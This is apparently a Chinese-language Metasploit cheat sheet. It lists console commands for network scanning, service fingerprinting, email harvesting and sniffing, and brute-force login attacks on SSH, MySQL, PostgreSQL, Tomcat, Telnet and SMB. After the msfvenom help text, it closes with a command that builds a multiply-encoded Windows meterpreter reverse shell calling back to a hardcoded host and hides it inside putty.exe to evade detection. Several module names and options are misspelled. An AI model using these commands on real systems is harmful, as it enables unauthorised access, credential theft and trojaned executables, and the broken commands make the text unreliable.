msf> use auxiliary/scanner/ip/ipidseq show options set RHOSTS 192.168.1.0/24 set RPORT 8080 set THREADS 50 run
portscan模块
1 2 3 4 5
msf> search postscan msf> use auxiliary/scanner/postscan/syn set RHOSTS 192.168.1.111 setTHREADS 50 run
特定扫描
smb_version 模块：
1 2 3 4 5
msf> use auxiliary/scanner/smb/smb_version showoptions set RHOSTS 192.168.1.111 run db_hosts –c address,os_flavor
找 mssql 主机：
1 2 3 4 5
msf> use auxiliary/scanner/mssql/mssql_ping showoptions set RHOSTS 192.168.1.0/24 setTHREADS 255 run
SSH 服务器扫描：
1 2 3 4
msf> use auxiliary/scanner/ssh/ssh_version set RHOSTS 192.168.1.0/24 setTHREADS 50 run
Telnet服务器扫描：
1 2 3 4
msf> use auxiliary/scanner/telnet/telnet_version set RHOSTS 192.168.1.0/24 setTHREADS 50 run
FTP 主机扫描：
1 2 3 4 5
msf> use auxiliary/scanner/ftp/ftp_version Show options set RHOSTS 192.168.1.0/24 setTHREADS 255 run
扫描 FTP 匿名登录：
1 2 3 4
useauxiliary/scanner/ftp/anonymos set RHOSTS 192.168.1.0/24 setTHREADS 50 run
扫描局域网内有哪些主机存活
1 2 3
set RHOSTS 192.168.1.0/24 setTHREADS 50 run
扫描网站目录
1 2 3
set RHOSTS 192.168.1.1 setTHREADS 50 run
搜索网站中的E-mail地址
1 2 3 4
search_email_collector use auxiliary/gather/search_email_collector set DOMAIN cracer.com run
嗅探抓包
1 2
msf> use auxiliary/sniffer/psnuffle run
MSF 密码破解模块
ssh服务口令猜测
1 2 3 4 5 6
use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.80.134 set USERNAME root set PASS_FILE /root/pass.txt set THREADS 50 run
mysql口令攻击
1 2 3 4 5 6 7
search mysql use auxiliary/scanner/mysql/mysql_login show options set RHOSTS 192.168.80.130 set user_file /root/user.txt set pass_file /root/pass.txt exploit
postgresql攻击
1 2 3 4 5 6 7
search postgresql use auxiliary/scanner/postgres/postgres_login show options set RHOSTS 192.168.80.130 set user_file /root/user.txt set pass_fiel /root/pass.txt exploit
tomcat 攻击
1 2 3 4 5 6 7
search tomcat use auxiliary/scanner/http/tomcat_mgr_login set RHOSTS 192.168.1.1 set PASS_FILE /root/pass.txt set USER_FILE /root/user.txt exploit
telnet 攻击
1 2 3 4 5 6
use auxiliary/scanner/telnet/telnet_login set 192.168.1.1 exploit use auxiliary/scanner/telnet/telnet_login set 192.168.1.1 exploit
samba攻击
1 2 3 4
use auxiliary/scanner/smb/smb_login set RHOSTS 192.168.1.1 /192.168.1.0/24 set THREADS 200 exploit
Options: -l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all -p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom --list-options List --payload <value>'s standard, advanced and evasion options -f, --format <format> Output format (use --list formats to list) -e, --encoder <encoder> The encoder to use (use --list encoders to list) --service-name <value> The service name to use when generating a service binary --sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string --smallest Generate the smallest possible payload using all available encoders --encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list) --encrypt-key <value> A key to be used for --encrypt --encrypt-iv <value> An initialization vector for --encrypt -a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list) --platform <platform> The platform for --payload (use --list platforms to list) -o, --out <path> Save the payload to a file -b, --bad-chars <list> Characters to avoid example: '\x00\xff' -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload --pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length) -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name <value> Specify a custom variable name to use for certain output formats -t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) -h, --help Show this message
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.8.124 LPORT=1122 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > shell.exe
